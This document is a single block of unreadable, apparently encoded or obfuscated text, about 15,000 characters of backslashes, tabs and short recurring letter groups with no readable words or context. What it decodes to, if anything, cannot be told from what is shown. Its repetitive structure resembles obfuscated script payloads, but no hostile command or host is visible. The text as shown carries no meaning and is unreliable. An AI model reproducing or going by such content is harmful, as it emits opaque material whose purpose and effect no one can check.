NMNMTMDIUTXKD	KOUU\\ZZ\<E#
NMNMTDNKUTXKD	KOUU\\\v\\X
#N\\A\\\<	TLUGv\	KOM#TXKD	KOP\\\\TIHLQHKUP\\\\\	UGv<	TX
#NUGv\ODLTXKD	KOP\THENWMUUGv\\\\T	UGvv\\v\vv\\\\\\\T	UGv\\\T]<LLIN	TDOMUTXKD	KOU\  \\\]<E#
NMNMTDJMUTXKD	KOU\\\\  \]<
JNTDJLUTXKD	KOUU\vLHMMJKTLLIN	TDIKUP\E#
NMNMTDJNUUGv\\\\T
JNTDINUT
JNTDJOUUU\\<#TLLIN	TDJHUP\\MP\TJKKKQOMKKUUGv	Gv\vv\\v\\\\\XJ	\A\\XKD	KO\\\\R\[S[\\R\\
DJMTUGvv\T#DIDE	
TXJ	UU\\\v\	Gvvvvvvv\T<
JNTDJIUTXJ	U\\ZZ\\\\<E#
NMNMTNMLUTXJ	U\B\\THEDNWMDU\ZZ\E#
NMNMTDJJUT#
	TTU\\\\\<LLIN	TIHKUTXJ	UUU\\\\\AAA\\\E#
NMNMTDJJUTXKIUU\\\\v\\\\\HDIEL#	TXJ	UGv\\\\\	LOIIDJHTUGv\\\\#HJODLE		ITUGv\\\\\	Gvvvv\\\\\T<E#
NMNMTDJKUTXJ	U\ZZ\\\<
JNTNMLUTXJ	U\\\B\\THENNWKDUU\vXLJNM\\A\\TU\\<
JNTDJDUTXJ	P\\P\\\\	P\\\\LP\\\\\\TNLMLWNLDJUUGv\\\\TLLIN	TDIMUTXLJNMU\\ZZ\\\\\\E#
NMNMTKKUT
JNTNMNUP\XLJNMP\\\\X#U\\ZZ\
#TX#'M!P\\E#NDNTUP\\\[B[UU\\\	Gv\\\	TXLJNMP\\X#UGv\\\\\v\XJM	JI\\A\\\HH#EOMTXJ	P\\\DENJNHTXKIUUGvvv\\\T]XJM	JI\\\\  \\]<E#
NMNMTDNDUTXJ	U\\\  \\<LLIN	TNMLUTXJ	U\@\\\\TLMKWLNMMU\\\\\  \\LLIN	TDJJUT#
	TTU\\\\<
JNTDJEUTXJ	UUU\]AA\E#
NMNMTDJJUTXKIUU\\v\\\\\TXJM	JI\ZZ\<#JO
TDKLUTXJ	UU\\\\v\XLJNM\A\\\\TU\\\<#JO
TDKMUTXJ	P\\P\\\\\	P\\LP\TINIDQMMJNUUGvvv\XNJ\\A\
JNTDIMUTXLJNMU\\\\\\ZZ\\\\
JNTKKUTLLIN	TNMNUP\\XLJNMP\\\\\X#U\\\ZZ\\
#TX#'M!P\\E#NDNTUP\\\\\\[B[UGv\\\\\\\\	TXLJNMP\\X#UGv\\T]XNJU\\\\vvvv\\\\ODLTXJ	P\TKNIQOLIUUGv\NN#		TXJ	UGvv\\\\\\v\\TE#
NMNMTDINUT
JNTDJOUUU\\<#TLLIN	TDKNUP\\\MP\\\\\TOLLJWIEHUUGv\\\	GXNLL	IAEEKOGX#IAXNLL	IYNGv\vSV\\
\VSvv\v\


	MMNTXJ	UGv\\\\ODLTXJ	P\\TNDLWMNUUGv\HDIEL#	TXJ	UGv	LOIIDJHTUGvvv\\\\\#HJODLE		ITUGv\\\\T(\\XKU\\\\v\\LHMMJKT#JO
TDKOUP\\XKUGv\\\\\\\\\\\\\T9\\\\\\XKU\vSS\+,\2
\>\\vv\\\\\vvvv\v\\\\\	\\\\K
MJTUv\\\\\\\\v\\\\v\\XKI\\A\L	DINOOTUGv\TXKI\ZZ\]	HLOLI
TXKIUU\\vX
#N\\A\\\NEDNT
JNTKDIUP\\\\^^UGv\\XOLN\\A\\\\NMK#T#JO
TDKHUTX
#NU\C\\\X
#N\\\F\\\\^^UGv\\\XO
LK\\A\\\NMK#TXKIUGv\T]LLIN	TDKHUTX
#NU\\\\\\  \\#JO
TKLEUTX
#NU\@\\\TNNNWNKDU\\\\\\  \\	HLOLI
TX
#NU\  \XOLN\\\AAA\^^\\\\  \\\\TXO
LK\\\\\]AA\\^^\ZZ\
#TXO
LKP\\\\\XOLNP\[B[UUU\vD#NEKT#JO
TKDIUP\\\XKIP\\#JO
TDKIUUGvvv\\TE#
NMNMTDINUT
JNTOJDUUU\\\\vvvv\\<	#T
JNTKHIUP\\\LP\E#
NMNMTDKJUUGv\\\\<	#T
JNTKHJUP\\\LP\\\\\\LLIN	TDKJUUGv\vvv\\<	#TE#
NMNMTIDJUP\\\LP\\\E#
NMNMTDKJUUGv\v\\\\\\\T
JNTDINUT
JNTDKKUUU\\<#TKHDNHEDTUUGvv\v\\\\\v\\\\TE#
NMNMTDINUT
JNTKJOUU\\ZZ\\\\E#
NMNMTDKDUT#JO
TDKEUUU\\\\v\\\\XK#JID\\\\A\\#T#JO
TDDLUUGv\\\\\\\\\\\TXK#JID\]AA\\\ZZ\\\XK#JID\\]AA\E#NDNTUU\\\v\<	#TE#
NMNMTDDLUP\\\\E#NDNTUP\\\#JO
TDDMUUGv\vv\\\\\\\\T]\\\#JO
TDKDUTE#
NMNMTDDNUU\  \\\\]\\#T
JNTDDLUP\\\\\E#NDNTUP\\\\^^P\E#
NMNMTDDMUUU\\\\\\v	Gvvv\v\\
KI
NTUGv\\\\\T
JNTDDOUT
JNTDKEUUU\\\v\<	#T
JNTDDHUP\LP\\E#
NMNMTDDMUUGvvvv<	#TE#
NMNMTKHJUP\\\LP\\#JO
TDDMUUGXHIADDMLGXMKEAXHIYMKGv\\<	#T#JO
TIDJUP\LP\#JO
TDDIUUGvvvvv\\\\\\\\TE#
NMNMTDDOUTE#
NMNMTDDJUUU\<#TKHDNHEDTUUGv\\v\\\\\\\\TXKI\ZZ\\]	HLOLI
TXKIUU\vD#NEKT
JNTDDKUP\\XKIP\\LLIN	TDDDUUGXHAQJHKGXLJI	NATXHBLUCXHFQXHGv\\\\\\v\\\\\\

KHJT	UGvv\ODLTEIITUP\\TLDWLEDUUGv\v\\\\\\
DT#JO
TDDEUP\\LLIN	THEDUP\\LUGv\v\\\
DT
JNTDELUP\\\#JO
TDEMUP\\LUGvv\\T(\\XKU\\v\LHMMJKTLLIN	TDENUP\\\XKUGv\\\T
JNTDDOUT#JO
TDEOUUU\<#TE#
NMNMTDDLUUGv\\\T9\\\\\XKU\\\v\\TE#
NMNMTDDOUTE#
NMNMTDEOUUU\\<#T#JO
TDDLUUGX
LJATLWLDLUGXIMNAX
LJYOGv\v\\\v\\\	\\

ME#
NJTUv\\\X
ONHE
IEAOKWOIGX
ENEE#HAX
ONHE
IEQMHGv\\\\\vv\\\\\T
JNTDDOUTLLIN	TKKMUUU\v\<
JNTKKMUT#	T[S[UP\\\\TE#
NMNMTDEHU\\AB\\\\\THO"HJUP\\#JO
TKJLU\\AB\P\\\\\LLIN	THONU\\\\\\AB\\\\UUGv\vv\\\\T(\XKU\\\v\\\\\\\\LHMMJKT
JNTDEIUP\\\\\XKUGv\\\\\\\T9\\XKU\\XE	AMWIIGXMHJEAXE	QOOGvvv\vvvvv\\\\\v\\	\\\\\
MO
#H##TUvv\\\\\XNE\\A\\\Gv\\\\\\\\\\TXNEU\\\	Gv\\\XNE\\\\A\\	Gv\\\\\\\v\\\\\\\\T]\#JO
TDDOUT#JO
TDEJUU\\\\  \]\#TUU\\vv\\	Gv\\\\v\\\\T]#JO
TDEKUTE#
NMNMTDMOUU\  \\]	#	#TLLIN	TDEDUUU\\\\vSS\+,\?	\0F\\Qvv\\\\	Gv\\vX#JK	OH\A\\TX#.9-)9/('E#
NMNMTDEEU!U\C\X#.9-)9/('LLIN	TDEEU!\\\F\\^^Gv\\X#JK	OH\\\A\#JO
TDKHUTX#JK	OHU\\C\\\\\#JO
TJJNUTX#JK	OHU\\\\\F\\^^Gv\\TX#JK	OH\\]AA\\
JNTELLU\\\\ZZ\X#JK	OH\\\]AA\E#
NMNMTELMUU\v\\\\\	Gv\\\v\\\\\\\v\\XM	HL\\\\\A\\\TUGv\\\\\\\TX#JK	OH\\\\\\AAA\E#
NMNMTELLUU\\v\\\XMEHOL\\\\\A\TX#.9-)9/('LLIN	TJDIU!U\\\\C\\\X#.9-)9/('LLIN	TJDIU!\F\^^GvXMEHOL\\A\#JO
TDKHUTXMEHOLU\C\\\\\E#
NMNMTJJNUTXMEHOLU\\\\F\\^^Gv\\\\\TXMEHOL\\\ZZ\\\XMEHOL\\\]AA\\M	#JND#TUU\\vXM	HL'!\A\\\\XMEHOLGv\\\\v\\\v\\\vv\\XOK
\A\TX#.9-)9/('
JNTELNU!U\C\\\\X#.9-)9/('
JNTELNU!\\\F\\\\\\TUGv\\\\\\\XOK
\\\\A\\\\\\
JNTDHLUTXOK
U\C\XOK
\\\F\TUGvv\\TXOK
\\\\\\\XMEHOLU\\v\\\XMEHOL\\A\\\LLIN	TELOUTXMEHOLU\\C\\\\\#JO
TJJNUTXMEHOLU\\F\\^^Gv\\\\\TXMEHOL\\\ZZ\\XMEHOL\\]AA\\M	#JND#TUU\\\\XL#	HAEVOGXEONHDMIAXL#	HQILGvvXM	HL'!\\A\\XMEHOLGv\\\\\\\\v\vvv\\\\\\\\TTXM	HLUU\\vv\\\\	Gv\vXK
IDJ#\\A\\\Gv\\\\\\TXM	HL\\\\\\\XMEHOLU\\vvv\\\\T#MITXMEHOLUU\v\JEDDK	TXMEHOLUGv\\\XK
IDJ#\\\\\A\	Gv\v\\\v\\\\\TXK
IDJ#U\\vvv\\\T#JO
TDEKUT
JNTELHUU\\\\ZZ\\
JNTELIUTE#
NMNMTELJUUU\XE#LNNAIDLIGX	#OAXE#LNNYMJGv\##T#	TE#
NMNMTELKUUUGv\v\\\\\\\vv\\\\T(\\\\\XKU\\vLHMMJKT
JNTELDUP\\\XKUGv\\\\\\\\\\\\\T9\\\XKU\\\\vv\\v\\\	\EN	TX#L##LDMLP\XNKEUv\v\\\\\\TXNKE\\AAA\\\\LLIN	TELEUU\vvX	\\A\\\\ZX;03>=0/'E#
NMNMTEMLU!Gvvvv\T]TX	'
JNTELEU!U\  \]E#
NMNMTDHLUTX	'
JNTELEU!UU\v\\\\\\\\	\\X#L##LDMLGv\v\\\\X#L	MDL\\A\T#JO
TOLLUU\\C\\+,#?32(92(#85.\\F\\\TT
JNTEMMUU\C\=>/,=(4\\\R\\\LLIN	TDHOU\F\\\\^^UGv\\\\\\TX#L	MDL\\\\\\AAA\\^^U\v\\\\\\\	\X#L##LDMLGvvSS\+,\9\.\\\	vv\\XNJKH\\A\TLLIN	TEMNU\\\AB\\E#
NMNMTEMOUP\\\\E#
NMNMTEMHU\AB\\LLIN	TEMIUUGv\TXNJKH\\\\\\\\XM
JMHE\\\\\\AB\\\X	KNIEDU\X	ENATLJNWLEUGXHDMAX	ENYDGv\\\\T]TX	'
JNTELEU!'XM
JMHE!UU\\\vv\	Gvvvvv\\X
ODEMKDI\A\<
JNTEMJUTX#L	MDL\\R\\\[S[\R\XM
JMHEUGv\\\\\\\\\T]LLIN	TELOUTX
ODEMKDIU\  \\#JO
TEMKUTX
ODEMKDIP\LLIN	TEMDU\\\\R\\\\X	KNIED\\R\
JNTEMEUU\\\AAA\\\\\U\v\\\	Gvv\v\\\X#HN\\\\A\LLIN	THELUTLLIN	TENLU\R\\\\\X	KNIED\\\\\\R\
JNTENMU\\\\R\\X	KNIED\\\R\
JNTENNUP\\\\^^P\X
ODEMKDIUGvvv\\T]
JNTENOUTX#HNUU\\\vv\\\	Gv\\\\vvvv\X#HN\\\A\
JNTJJNUTX#HNUGv\TX#HN\\AAA\^^\\  \\\\\\X#HN\\AAA\\\\E#
NMNMTKHKU\\  \\\\\X#HN\\\AAA\\
JNTNINUU\\vSS\+,\/\0\\vv	TX	'#JO
TELEU!'XM
JMHE!UGv\\\v\\\vv\	\\\\X#L##LDMLGvvv\\v\\\\\TXNKE\]AA\LLIN	TENHUU\v\	\\\X#L##LDMLGv\\v\X	\\A\ZX;03>=0/'#JO
TEMLU!Gv\\\\\\XJL#
J\\\\A\\\\\\LLIN	TENIUTEIITUUGvv\TTX	'#JO
TENHU!'XJL#
J!UU\v\\	TX	'E#
NMNMTENJU!'XJL#
J!UGv\\\\v\\	\\\X#L##LDMLGv\v\\\\\T]
JNTELIUT#JO
TENKUUU\\\\\v\\\\\\\	\\\\
MMI
JMTUv\\\\\v\\\\\T]\HHD##MJTUU\\v	Gv\vvvX	
HEIL\\\A\\LLIN	TENIUTEIITUUGvXLN
L\\A\
JNTENIUTEIITUP\\\\
JNTDHNUUGv\\\\\\XO\A\\\XLN
L\\R\\\[S[\\R\X	
HEILGvvvv\\\\#JO
TENDU\\R\#TX	
HEILU\R\\\LLIN	TENEU\\\\\\R\#TXOU\R\
JNTEOLUGv\\\\\\LLIN	TEOMU\\\R\\\#TX	
HEILU\R\\\\LLIN	TEONU\\\R\\\#TXOU\\R\\LLIN	TEOOUGvvvv\vv\\\\\\v\\\\T]LLIN	TELIUTE#
NMNMTEOHUUU\\\\v\\\	\\
J##TXJL	#JUvv\\\T]\\\\\E#
NMNMTEOIUTXJL	#JUU\\\v\\	\XJL	#JGv\vX	
HEIL\\\A\\M	#JND#TUGv\\\\\TTXJL	#JQB'X	
HEIL!UU\v	TXJL	#JQB'X	
HEIL!UGv\\\\v\\\\\	\XJL	#JGvvv\\vSS\	\vvv\\\\\\\T]E#
NMNMTELIUT#JO
TEOJUUU\vv\\\	\\\KJ	I	TX	Uv\\\v\\\X
JIM\\\A\M	#JND#TUGvvvv\\\\\\TTX	'X
JIM!UU\\v\\\\\\\	TX	'X
JIM!UGv\v\\\\\XLN
L\\A\\LLIN	TENIUTEIITUP\\\\LLIN	TDHNUUGv\\\XO\\A\XLN
L\\R\[S[\\R\\\\\E#
NMNMTENIUTEIITUUGv\\\\\\TTX	'XO!UU\\v\\	TX	'XO!UGv\\\v\\\	\\\\\X	Gv\v\\\\vvvv	\\HDM#MTX	##Uvvv\\\\T]\\\#JO
TEOKUTX	##UU\v\\	\X	##GXK
HHOADH NIGXM##IIAXK
HHO"EJGvvvvv\\\XKN	I\A\^^Gv\\\\\\T#JO
TELIUT#JO
TEODUU\\ZZ\\\\LLIN	TDNDUTEIITUUU\\\\v\\\\\\\X#OKN\A\#	#TEIITUP\\\\P\\UGvvv\XKN	I\\\A\\\\\TX#OKN'LLIN	TEOEU!U\C\\\\\\X#OKN'E#
NMNMTEOEU!\\\\F\\^^Gvvv\v\\\X#D
#\\\\\A\\\\TE#
NMNMTEHLUP\\\\\#JO
TEHMUUGv\\\\TX#D
#\\\XE#U\\\\v\\\\\\\\\\T]\\TX	##'XE#!'LLIN	TEHNU!U\\  \\\\\]\\#JO
TEOKUTX	##'XE#!'#JO
TEHNU!UU\\\v\\\\\	Gvv\\\\\\\\TX	##'XE#!'#JO
TEHOU!\\\\\X\\\AB\\\\XHM
U\v\\\\\\T#JO
TEMKUTXP\\M	#JND#TUU\\\]AA\\\  \\\X\\AAA\\\\\\M	#JND#TUU\vvv\\\	TX	##'XE#!'E#
NMNMTEHOU!'X!UGv\	Gv\\\\\\\\v\\\\\TXKN	I\\\\]AA\^^\\ZZ\X\\\\AAA\\\XKN	IU\\\\\\v\	TX	##'XE#!'
JNTEHHU!'X!UGv\	Gv\\\\\\v\vv\\TTLLIN	TEHIUP\LLIN	TEHJUU\\\\\\X	K
U\\\vSS\
\	\vvXIJ	ML\\\\\A\\\TX	##'X	K
!'
JNTEHHU!U\\ZZ\
JNTEOKUTX	##'X	K
!'E#
NMNMTEHHU!U\\\C\\\\\X	##'X	K
!'#JO
TEHHU!\\F\\\\TUGv\\\T]XIJ	MLU\	Gv\\\X	DIL
J\\\A\TLLIN	TJOHUU\\\C\\\+,1)#,0);52#85.\\\\\F\\\TT#JO
TOLLUU\\C\\+,#?32(92(#85.\\\\R\\\#JO
TMIU\\F\\\\\^^UGv\\\\\\\XJMNMNKJE\\\A\TUGv\\\\TXKN	I\\\\]AA\\\\^^U\\\\XJMNMNKJE'!\\A\\XKN	IGvvv\XJMNMNKJE'!\\\\A\\\LLIN	TEHKUTEIITUUGXKEMANODIGX#DAXKEMYIGv\\\\\\\\\TX	DIL
J\]AA\\\^^\\ZZ\\<#JO
TEHDUTX	DIL
JU\\\\ZZ\\LLIN	TEHEUT#JO
TDHJUUU\v\\\\\TTU\<#JO
TDHJUTX	DIL
J\\\\\\R\\\LLIN	TJOKUU\\\\\XI	U\\\\\\v\\XJL\A\\\<LLIN	TEMJUTXI	P\\P\\\\\	P\\\LP\\\TMNDLEQHJMKUUGv\\\\\\T]
JNTENOUTXJLU\\  \\\E#
NMNMTEMKUTXJLP\LLIN	TEILUU\\AAA\U\	GXL	JMAMIO DOGXMEHKAXL	JM"MDHGv\\\\\\T
JNTKKUT#JO
TEIMUP\XJLP\\\XKNOOUU\v\\XHMI\\\\\A\\
JNTJJNUTXKNOO'M!UGv\\TXHMI\]AA\\\^^U\XJMNMNKJE'!\\\\A\\\XHMIGv\v\\\\\XJMNMNKJE'!\A\\\#JO
TEHKUTXI	UGv\\\\\v\\v\\\TXIJ	ML\\\\\\\X\\AB\\\\XHM
U\\\v\\TXJMNMNKJE\\\\\\\XH
E
IU\\\v\\\\\\\\\\TX\\AAA\\\\XH
E
I\\\\  \\\X\\\AAA\\\\##TXH
E
IUU\\\\\\v\	TX	##'X	K
!'LLIN	TEHHU!'X!UGv\\\Gv\\\\v\\\v\\\\vv\X		\\\\\A\\TX	##'
JNTEINU!'E#
NMNMTEIOU!U\ZZ\E#
NMNMTEOKUTX	##'LLIN	TEINU!'E#
NMNMTEIOU!U\C\\\\X	##'#JO
TEINU!'LLIN	TEIOU!\\F\\\TUGv\\\TX		U\vX#L	MDL\A\\\\T
JNTEIHUU\C\\\\\\+,#?32(92(#85.\F\TT
JNTEMMUU\\\\\C\=>/,=(4\R\\\
JNTDHOU\F\\\\\^^UGv\XNJKH\\A\T
JNTEMNU\AB\\
JNTEMOUP\\LLIN	TEIIU\\\AB\LLIN	TEMIUUGvvv\\\TX		\\\X\\\\\AB\\\XHM
U\\\\v\\\\\T]TXNJKH'X!U\\  \\\X#L	MDL\\AAA\\\^^U\\\\	Gv\\X
ODEMKDI\\\\A\\<E#
NMNMTEMJUTX#L	MDL\\R\[S[\R\\\\\\XP\\P\\\	P\\\\\LP\THOLEQNMOUUGv\TE#
NMNMTEIJUTX
ODEMKDIU\\ZZ\\TLLIN	TEMKUTX
ODEMKDIP\\\
JNTEMDU\\R\\XNJKH'X!\\\R\\LLIN	TEMEUU\\]AA\\\\\\\  \#JO
TEIKUTX
ODEMKDIP\\\E#
NMNMTEIDUU\\\]AA\\\\\\UU\v\\	TX	##'#JO
TEIEU!'LLIN	TEIOU!'X!UGvvv\\\vvv\v\\\\v\\	\X	##Gvv\\\\\v\	\\
DHHKJDOTXLJDDUv\\\\\\v\\\\\\\\T]\\\\LLIN	TEJLUTXLJDDUU\\v\\\	\XLJDDGv\\vv\\\\\\XHJMIE\\A\\\\\E#
NMNMTEJMUTEIITUUGvvXDOM\\A\\\\\\E#
NMNMTDLLUTXHJMIEP\\\\\\,=(452:3#:5092=19UGvXLK\\A\Tv\\\TE#
NMNMTEJNU\\AB\[_[\\\\\R\\
JNTEJOUTXHJMIEP\\[_[U\\\R\LLIN	TEJHUP\\\
JNTEJIU\\\AB\\	UPv\\T#JO
TEJJU\\\\AB\\LLIN	TEJKU\R\\\#JO
TEJOUTXDOMP\\\[_[U\\R\\#JO
TEJHUP\\
JNTEJIU\\\AB\	UPv\\UGv\\\\\\TTXLJDD'#JO
TEJDU!U\ZZ\\#JO
TEJLUTXLJDD'
JNTEJDU!UU\\\\v\\\\\\\TXLJDD'LLIN	TEJDU!\\\XEN	J#\AB\\X#	LK#U\\v\\\\\T]\\\\\E#
NMNMTEJLUTX#	LK#U\\\\  \]\\#JO
TEJEUTXEN	J#UU\\\v	Gv\\\\\\\v\\T]\\\\\TXLJDD'#JO
TEKLU!'XEN	J#!'E#
NMNMTEKMU!U\\  \\\]\\\LLIN	TEJLUTXLJDD'#JO
TEKLU!'XEN	J#!'
JNTEKMU!UU\\v\\\XLJDD'LLIN	TEKLU!'XEN	J#!'E#
NMNMTEKNU!\\\A\\\\\TUGv\\\vSS\	\\\+,\0\,vv\\\TXLK\\\\\XJ	KOH
U\\\\v\\\\\\XLJDD'E#
NMNMTEKOU!'XEN	J#!'#JO
TEKHU!'!\\\\\A\\\\XJ	KOH
Gvv\\\\\\\v\\v\vv	\\XLJDDGv\\vv\	\\	MIMHOTUv\\\vvvv\\vv\\\\\\\\T]\\\\\TLLIN	TEKIUU\\\  \\\\\TLLIN	TEKJUU\\\@\\\\TIK"JNUU\\\v\	Gv\\\\v\\\\TLLIN	TEKKUT
JNTEKDUP\UU\\\v\\\	GXO
MIATLKWLUGX
D#JMMAXO
MIYMOGv\\\\\\\v\XOHI\A\\LLIN	TEKEUTEIITUUGv\\\X#N	NL\\\A\\\\\\T#JO
TDNNUU\\\C\\+,#,0);52#85.\\\\F\^^Gv\X#N
MI\A\\\Tvvv\\\\\\\\X#N	NL\\\\R\\#JO
TEDLUPvX#N	NL\R\\\\
JNTEDMUPv\\X#N	NL\\\R\\\\E#
NMNMTEDNUPv\\\\\\\\UGv\\\\\\XOM#DHIEE
\\A\^^Gvv\\\\\\\\\\TX#N
MI\\\\\\\X	
HEILU\\\v\\\\TX	
HEIL\]AA\\\^^\\\\ZZ\\<E#
NMNMTDKLUTX	
HEILU\\ZZ\\\<#JO
TDJLUTX	
HEILUU\v\XOM#DHIEE
\A\\\\X	
HEILGv\GvvvvSS\1/-0\\	F\\vv\\\\\\\TXOM#DHIEE
\AAA\\\^^U\\v	Gvvvv\vvv\\X#O\\\A\\\\\\E#
NMNMTEDOUTXOM#DHIEE
UGXIDAEOHGXKDJKHATXIDBLUCXIDFQXIDGv\\\#	#T	\TXE#OO
NU\	\\\\\\TX#OU\v\\\\\TTX#O\\\\\\R\\\[S[\\R\\\XE#OO
N\\R\\\\\#JO
TEDHUP\\\X#O\\\\R\\\\\[S[\\R\\\\XE#OO
N\\R\\\#JO
TEDIUU\\\\\\\XHEMU\\v\\\\\\\T<
JNTDKLUTXHEMUU\\vvvv	#\\XHEMGv	Gv\\vv\\UGv\XLN	LI
\\A\\<
JNTEDJUTXOM#DHIEE
UGvvvv\\TXLN	LI
\\\\\\AAA\\\  \\\E#
NMNMTEDKUTXLN	LI
P\\\\E#
NMNMTEDDUU\\\\\\AAA\U\\vSS\+,\>\(F\QQ\Qvvvv\	Gvv\XLN	LI
\\A\\
JNTHELUT
JNTEDEUP\\\^^P\\\XLN	LI
UGvvvv\\\\\\\XLN	LI
\A\#JO
TEELUT
JNTEDDUP\\
JNTEEMUP\\XLN	LI
UGv\XK	L\\\A\
MO	L	IMIT	M
NNTUP\\LLIN	TDOEUUGvvvv\\\\\\TXK	L\\\\AAA\\U\\\vSS\,4,\DRO\\\	vv\\\\\\\	Gv\\\\\v\\\<LLIN	TMEEUTXK	LP\\
JNTEENU\\\R\\\XLN	LI
UGv\\v<	\\XK	LGv\\\\\\\v\\\\\NN#		TXK	LUGv\\\vSS\1/-0\D\?(9F\	\	Qvvv\\\\\\\XOM	#KJH\\A\\\#JO
TDLLUTXOHIP\,=(452:3#:5092=19UGv\\\\\\\\X;03>=0/'LLIN	TEEOU!\\\A\\XOHIGv\X;03>=0/'
JNTEEHU!\\\\A\\\XOM	#KJHGv\\\\\\\\XKEN\A\\E#
NMNMTEEIUvvv\\\\\R\\
JNTEEJUvvvvR\\#JO
TEEKUvR\\\\#JO
TEEDUvR\\
JNTEEEUv\\\R\\\\[[v\\\\R\\\
JNTMLLLUv\\\\R\\[[vR\\\\[[Gv\\\\XOJMD\A\\
MO	L	IMIT	M
NNTUP\
JNTDOEUUGv\\\TXOJMDU\\v\<#JO
TMEEUTXOJMDP\\\XKENUGv\\\\v<	\\XOJMDGv\\\\\\v\\NN#		TXOJMDUGvvv\\\T(\\XKU\\vvLHMMJKT#JO
TMLLMUP\\\\XKUGv\vvvv\\\\\T9\\XKU\\\\\\vSS\
\vv\\\v\v\\\T]#JO
TEHEUT#JO
TMLLNUUU\v\	\\
DH		KL#HHTXI#J	P\\X	JIHLLUv\\\\\\v\\\\T]\\LLIN	TEJLUTXI#J	UU\\\\v\\\\	\\\\\XI#J	Gvvv\\\\v\\\XOMH\\\\A\T
JNTMLLOUP\\\\\#JO
TMLLHUP\\\\
JNTMLLIUP\\\\\\
JNTMLLJUP\LLIN	TJLHUUGX	KANOJKGXN#DAX	KYMKGv\\\\\\TXOMH\\\\XU\\\v\\\\\\\\\T]\\\TXI#J	'X!U\  \\]\#JO
TEJLUTXI#J	'X!UU\v\\\\	Gv\\v\XEMM

\A\TUGv\\\\\\\TXI#J	'X!\\\\X
	NKOU\\\v\\\\\T]\\\E#
NMNMTEJLUTX
	NKOUU\vXEMM

'!\\\A\\X
	NKOGv	GvvXHLN#H\\\A\\\TX
	NKO'#JO
TMLLKU!U\\\C\\\\\X
	NKO'E#
NMNMTMLLKU!\F\\^^Gv\XOM	#KJH\\\\A\TX;03>=0/'E#
NMNMTEEHU!U\\C\\X;03>=0/'
JNTEEHU!\\\\\F\\\^^Gvvvv\\\\\\\TXHLN#H\\\\\AAA\\X	JIHLL\\\\\\  \\TXOM	#KJH\]AA\^^\\\\ZZ\XHLN#H\\AAA\XOM	#KJHUU\\v\	Gvv\\\\\\v\XEMM

'!\A\\\
DH		KL#HHTX
	NKOP\\X	JIHLLUGvvvvv\\XI#J	'X!\\\A\\\XEMM

Gv\\vv	\\XI#J	Gvv\v\\	\
NKNLM#MTUvv\\\\\\\vvv\\\\\\\T
JNTEHEUTLLIN	TMLLDUU\\\ZZ\#TE#
NMNMTMLLEUUU\\v\\\\\\\\	Gv\vXL
JL\A\\\<
JNTNMLUTEIITUUGv\\\\\\\\\\TXL
JL\\\ZZ\XL
JL\\\\B\\THENLWDLU\ZZ\XL
JL\\@\\THEEEEEMWEU\\\\\\ZZ\]#DIDE	
TEIITUUU\vSS\\vv\\XILJOM\\A\<LLIN	TEDJUTEIITUUGv\\TE#
NMNMTEIJUTXILJOMU\ZZ\
JNTMLMLUTXILJOMU\AAA\\XL
JL\\ZZ\\\LEIOTXILJOMUU\\v\\\\\\THH#EOMTEIITUP\\DENJNHTXILJOMUUU\\\\\vSS\\		vv\\


	MMNTEIITUUGv\HDIEL#	TEIITUUGv\\\\\v\\vvvv	TXILJOMUGvvv\\vXOJ#O\\\A\<LLIN	TNMLUTEIITUUGX#OKOL	ATLHEWLIUGX#NOAX#OKOL	YOGvvvvX
#I#\\\\A\\XOJ#O\\\ZZ\XOJ#O\\\B\TLHHIWLHOUGvvvv\\\\\\\\TX
#I#\ZZ\\\XOJ#O\B\\TINHNDKJKWOOUU\v\\\\\X
#I#\A\Gv\\\v\\\\\\\TX
#I#U\\v\\XJ
I\A\\<
JNTMLMMUTEIITUUGv\\\T
JNTEIJUTXJ
IU\\\ZZ\LLIN	TMLMLUTXJ
IU\\\\B\\\\TMLHDIIJWNLUU\XJ
I\A\\\\\#
	TXJ
IUGv\\\\T]#JO
TEIJUTXJ
IU\  \\\\]LEIOTXJ
IUU\\vX
#I#\\A\\Gv\\\\\\v\\XDHIL#D\\\\A\\\NEDNTE#
NMNMTDDKUP\^^UGv\\\XIJ#	\\A\\\\NMK#TXJ
IUGvXLK#KOD\\\A\\NMK#TE#
NMNMTMLMNUTXDHIL#DU\\\C\XDHIL#D\\\F\^^UGv\\TXIJ#	\\\\\]AA\\\^^\\\\ZZ\\\TXLK#KOD\\AAA\\\\\\^^\  \
#TXLK#KODP\XIJ#	P\[@[UUU\\v\\\\\\\\XMIOID	\A\\\#JO
TDJJUTXJ
IUGvvv\X#
IEK\\A\<#JO
TDKLUTLLIN	TEDOUTEIITUU\R\E#
NMNMTMDLU\\\R\\\XMIOID	UGv\\\\T]X#
IEKU\\\XIDLA,4,#1=63.#*9./532GXLIOEMLAXIDLVMGvv\\\\\\\\X
IL#\\\A\#TLLIN	TMLMOUUGv\\T#JO
TMLMHUTX
IL#U\\ZZ\\\\\#JO
TMLMIUTX
IL#P\\XMIOID	\\\\R\\[ [U\\\AAA\\L\\\ZZ\\#JO
TIIHUTU\\Q\TU\E#
NMNMTMLMJUTX
IL#P\\\#JO
TMLMKUTX
IL#P\\\[ [U\\W\MU\\\@\\\\\\TDJOJKWOOUU\X#
IEK\A\\\\	Gv\\v\\\\\\\\TX#
IEKU\\X
#I#\\\A\Gvvv\\T]X#
IEK\ZZ\\LLIN	TMLMDUTXDHIL#DU\\\ZZ\\TXDHIL#D\\AAA\\^^\\\  \XLK#KOD\\AAA\\^^\  \\\\
#TXLK#KODP\\XIJ#	P\[@[UUU\\D#NEKTE#
NMNMTDDKUP\\XJ
IP\\#JO
TDDDUUGv\\	TXMIOID	P\X#
IEKP\\X
IL#UGv\\\\\\\\\TE#
NMNMTMLMDUTXDHIL#DU\\ZZ\
JNTMLMEUTXDHIL#DU\B\\\\THEKWOU\\ZZ\LLIN	TMLMEUTXDHIL#DU\\@A\\\TMJJEEIOQJNMOKKU\\\\ZZ\\\\]	HLOLI
TXDHIL#DU\\ZZ\\LEIOTXDHIL#DU\ZZ\\\E#
NMNMTMLNLUTXJ
IU\\\\]AA\\\#JO
TMLNMUTXDHIL#DUU\\\\\v\\X
#I#\\\A\Gv\vvv\vv\TX
#I#U\v\\\TLLIN	TEHEUT#JO
TMLNNUUU\v\\\\\\\\#T#JO
TMLLEUP\\\\MP\TOIONWJDUUGv\v	Gvvv\\vSV\
\		\VSvvvvv\\\\\\T#DIDE	
TEIITUUU\\v\\	Gv\\\\\vSV\Q\	Q\VSvvXO	I#\\A\LLIN	TEDOUTEIITUUGvvv\\\\\\\\\\T]\\<
